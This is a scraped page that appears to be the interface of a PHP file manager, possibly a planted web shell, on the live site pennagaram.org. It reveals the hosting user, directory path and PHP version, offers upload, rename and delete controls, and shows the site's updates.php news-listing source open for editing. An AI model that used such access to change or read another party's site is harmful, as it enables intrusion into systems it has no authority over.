Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

LiteSpeed

System:

Linux 5.14.0-503.34.1.el9_5.x86_64

PHP Version:

8.2.30

User:

u329947844

Directory:

/home/u329947844/domains/pennagaram.org/public_html

Free Space:

10.31 TB

🔧 Quick Actions

✏️ Editing: updates.php

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Latest Updates - Pennagaram Official</title>
    <script src="https://cdn.tailwindcss.com"></script>
    <link rel="apple-touch-icon" sizes="180x180" href="assets/fav/apple-touch-icon.png">
    <link rel="icon" type="image/png" sizes="32x32" href="assets/fav/favicon-32x32.png">
    <link rel="icon" type="image/png" sizes="16x16" href="assets/fav/favicon-16x16.png">
    <link rel="manifest" href="assets/fav/site.webmanifest">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
    <script>
        tailwind.config = {
            theme: {
                extend: {
                    colors: {
                        'primary': '#2E8B57',
                        'accent': '#FF6B35',
                        'secondary': '#1A5276',
                        'light': '#F8F9FA',
                        'neutral': '#495057',
                        'dark': '#212529',
                        'success': '#28A745',
                        'warning': '#FFC107',
                        'highlight': '#E9F5E9'
                    }
                }
            }
        }
    </script>
    <style>
        @import url('https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap');
        body {
            font-family: 'Inter', sans-serif;
        }
        .update-card {
            transition: all 0.3s ease;
        }
        .update-card:hover {
            transform: translateY(-3px);
        }
        .type-announcement { border-left: 4px solid #2E8B57; }
        .type-event { border-left: 4px solid #FF6B35; }
        .type-news { border-left: 4px solid #1A5276; }
        .type-maintenance { border-left: 4px solid #FFC107; }
        .type-alert { border-left: 4px solid #DC3545; }
        .type-community { border-left: 4px solid #6F42C1; }
        .line-clamp-2 {
            display: -webkit-box;
            -webkit-line-clamp: 2;
            -webkit-box-orient: vertical;
            overflow: hidden;
        }
    </style>
</head>
<body class="bg-light">
    <?php include('nav.php') ?>

<main class="min-h-screen py-6 mt-16">
        <div class="container mx-auto px-4">
            
            <div class="text-center mb-6">
                <h1 class="text-3xl font-bold text-secondary mb-3">Latest Updates</h1>
                <p class="text-neutral text-base max-w-2xl mx-auto">
                    Stay informed with the latest news, announcements, events, and community updates from Pennagaram.
                </p>
            </div>

<div class="bg-white rounded-lg shadow-md p-5 mb-6">
                <div class="grid grid-cols-1 md:grid-cols-3 gap-4">
                    
                    <div class="relative">
                        <input type="text" 
                               id="searchInput" 
                               placeholder="Search updates..." 
                               class="w-full pl-10 pr-4 py-2 border border-gray-300 rounded-lg focus:ring-2 focus:ring-primary focus:border-transparent text-sm">
                        <i class="fas fa-search absolute left-3 top-3 text-neutral text-sm"></i>
                    </div>

<div class="relative">
                        <select id="typeFilter" class="w-full pl-3 pr-10 py-2 border border-gray-300 rounded-lg focus:ring-2 focus:ring-primary focus:border-transparent appearance-none text-sm">
                            <option value="">All Types</option>
                            <option value="announcement">Announcements</option>
                            <option value="event">Events</option>
                            <option value="news">News</option>
                            <option value="maintenance">Maintenance</option>
                            <option value="alert">Alerts</option>
                            <option value="community">Community</option>
                        </select>
                        <i class="fas fa-filter absolute right-3 top-3 text-neutral pointer-events-none text-sm"></i>
                    </div>

<div class="relative">
                        <select id="sortFilter" class="w-full pl-3 pr-10 py-2 border border-gray-300 rounded-lg focus:ring-2 focus:ring-primary focus:border-transparent appearance-none text-sm">
                            <option value="newest">Newest First</option>
                            <option value="oldest">Oldest First</option>
                            <option value="title_asc">Title A-Z</option>
                            <option value="title_desc">Title Z-A</option>
                        </select>
                        <i class="fas fa-sort absolute right-3 top-3 text-neutral pointer-events-none text-sm"></i>
                    </div>
                </div>
            </div>

<div id="updatesContainer">
                <?php
                // Include database connection
                require_once 'includes/db.php';

// Fetch all published updates - Fixed query to ensure all published are shown
                $query = "
                    SELECT id, title, content, update_type, featured_image, publish_date, created_at 
                    FROM updates 
                    WHERE status = 'published' 
                    ORDER BY publish_date DESC, created_at DESC
                ";
                
                $result = mysqli_query($conn, $query);
                
                if (!$result) {
                    echo '<div class="text-center text-red-500 py-10 text-sm">Error loading updates. Please try again later.</div>';
                    // Debug: Show error if any
                    error_log("Database Error: " . mysqli_error($conn));
                } elseif (mysqli_num_rows($result) == 0) {
                    echo '<div class="text-center py-10">
                        <div class="bg-white rounded-lg shadow-md p-6 max-w-md mx-auto">
                            <i class="fas fa-newspaper text-5xl text-neutral mb-3"></i>
                            <h3 class="text-lg font-semibold text-dark mb-2">No Updates Available</h3>
                            <p class="text-neutral mb-4 text-sm">There are no published updates at the moment. Please check back later.</p>
                            <a href="index.php" class="bg-primary text-white px-5 py-2 rounded-lg hover:bg-green-600 transition-colors inline-flex items-center text-sm">
                                <i class="fas fa-home mr-2 text-xs"></i>
                                Back to Home
                            </a>
                        </div>
                    </div>';
                } else {
                    // Show total count of published updates
                    $totalUpdates = mysqli_num_rows($result);
                    echo '<div class="mb-4 text-sm text-neutral">
                        <i class="fas fa-info-circle mr-2"></i>
                        Showing ' . $totalUpdates . ' published update' . ($totalUpdates > 1 ? 's' : '') . '
                    </div>';
                    
                    echo '<div class="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-5" id="updatesGrid">';
                    
                    while ($update = mysqli_fetch_assoc($result)) {
                        // Format dates
                        $publishDate = date('M j, Y', strtotime($update['publish_date']));
                        $createdDate = date('M j, Y', strtotime($update['created_at']));
                        
                        // Get appropriate icon and color based on update type
                        $icon = getUpdateTypeIcon($update['update_type']);
                        $typeClass = 'type-' . $update['update_type'];
                        
                        // Truncate content for preview
                        $content = strip_tags($update['content']);
                        $contentPreview = strlen($content) <= 120 ? $content : substr($content, 0, 120) . '...';
                        
                        // Generate slug for read more link
                        $slug = generateSlug($update['title']);
                        
                        echo '
                        <div class="update-card bg-white rounded-lg shadow-md overflow-hidden border border-light hover:shadow-lg ' . $typeClass . '" 
                             data-title="' . strtolower(htmlspecialchars($update['title'])) . '"
                             data-type="' . $update['update_type'] . '"
                             data-date="' . $update['publish_date'] . '">
                            
                            
                            <div class="p-4">
                                
                                <div class="flex items-center justify-between mb-2">
                                    <div class="flex items-center">
                                        <div class="w-7 h-7 rounded-full bg-highlight flex items-center justify-center mr-2">
                                            <i class="' . $icon . ' text-primary text-xs"></i>
                                        </div>
                                        <span class="text-xs font-medium text-primary capitalize">' . htmlspecialchars($update['update_type']) . '</span>
                                    </div>
                                    <span class="text-xs text-neutral">' . htmlspecialchars($publishDate) . '</span>
                                </div>
                                
                                
                                <h3 class="text-base font-semibold text-dark mb-2 hover:text-primary transition-colors line-clamp-2">
                                    ' . htmlspecialchars($update['title']) . '
                                </h3>
                                
                                
                                <p class="text-neutral text-xs mb-3 leading-relaxed">
                                    ' . htmlspecialchars($contentPreview) . '
                                </p>
                                
                                
                                <div class="flex justify-between items-center pt-3 border-t border-gray-100">
                                    <span class="text-xs text-neutral">
                                        <i class="far fa-clock mr-1 text-xs"></i>' . htmlspecialchars($createdDate) . '
                                    </span>
                                    <a href="update-details.php?id=' . $update['id'] . '&slug=' . $slug . '" 
                                       class="bg-primary text-white px-3 py-1 rounded text-xs hover:bg-green-600 transition-colors flex items-center">
                                        Read More <i class="fas fa-arrow-right ml-1 text-xs"></i>
                                    </a>
                                </div>
                            </div>
                        </div>';
                    }
                    echo '</div>';
                }
                ?>
            </div>

<div id="noResults" class="hidden text-center py-10">
                <div class="bg-white rounded-lg shadow-md p-6 max-w-md mx-auto">
                    <i class="fas fa-search text-5xl text-neutral mb-3"></i>
                    <h3 class="text-lg font-semibold text-dark mb-2">No Updates Found</h3>
                    <p class="text-neutral mb-4 text-sm">Try adjusting your search or filter criteria.</p>
                    <button onclick="resetFilters()" class="bg-primary text-white px-5 py-2 rounded-lg hover:bg-green-600 transition-colors text-sm">
                        Reset Filters
                    </button>
                </div>
            </div>
        </div>
    </main>

<?php include('footer.php') ?>

// Function to filter updates
            function filterUpdates() {
                const searchTerm = searchInput.value.toLowerCase();
                const typeValue = typeFilter.value;
                const sortValue = sortFilter.value;
                
                const updateCards = updatesGrid.querySelectorAll('.update-card');
                let visibleCount = 0;

updateCards.forEach(card => {
                    const updateTitle = card.getAttribute('data-title');
                    const updateType = card.getAttribute('data-type');
                    const updateDate = card.getAttribute('data-date');
                    
                    const matchesSearch = updateTitle.includes(searchTerm);
                    const matchesType = !typeValue || updateType === typeValue;
                    
                    if (matchesSearch && matchesType) {
                        card.style.display = 'block';
                        visibleCount++;
                    } else {
                        card.style.display = 'none';
                    }
                });

// Sort updates
                sortUpdates(sortValue);

// Show/hide no results message
                if (visibleCount === 0) {
                    updatesGrid.style.display = 'none';
                    noResults.classList.remove('hidden');
                } else {
                    updatesGrid.style.display = 'grid';
                    noResults.classList.add('hidden');
                }
            }

// Function to sort updates
            function sortUpdates(sortValue) {
                const updateCards = Array.from(updatesGrid.querySelectorAll('.update-card'));
                
                updateCards.sort((a, b) => {
                    switch(sortValue) {
                        case 'newest':
                            return new Date(b.getAttribute('data-date')) - new Date(a.getAttribute('data-date'));
                        case 'oldest':
                            return new Date(a.getAttribute('data-date')) - new Date(b.getAttribute('data-date'));
                        case 'title_asc':
                            return a.getAttribute('data-title').localeCompare(b.getAttribute('data-title'));
                        case 'title_desc':
                            return b.getAttribute('data-title').localeCompare(a.getAttribute('data-title'));
                        default:
                            return 0;
                    }
                });

// Re-append sorted cards
                updateCards.forEach(card => updatesGrid.appendChild(card));
            }

// Function to reset filters
            function resetFilters() {
                searchInput.value = '';
                typeFilter.value = '';
                sortFilter.value = 'newest';
                filterUpdates();
            }

// Event listeners
            searchInput.addEventListener('input', filterUpdates);
            typeFilter.addEventListener('change', filterUpdates);
            sortFilter.addEventListener('change', filterUpdates);

// Initialize filters
            filterUpdates();
        });
    </script>
</body>
</html>

<?php
// Helper functions
function getUpdateTypeIcon($type) {
    $icons = [
        'announcement' => 'fas fa-bullhorn',
        'event' => 'fas fa-calendar-alt',
        'news' => 'fas fa-newspaper',
        'maintenance' => 'fas fa-tools',
        'alert' => 'fas fa-exclamation-triangle',
        'community' => 'fas fa-users'
    ];
    
    return $icons[$type] ?? 'fas fa-info-circle';
}

function generateSlug($title) {
    $slug = strtolower(trim($title));
    $slug = preg_replace('/[^a-z0-9-]/', '-', $slug);
    $slug = preg_replace('/-+/', '-', $slug);
    return $slug;
}

// Close database connection
if (isset($conn)) {
    mysqli_close($conn);
}

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: updates.php

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation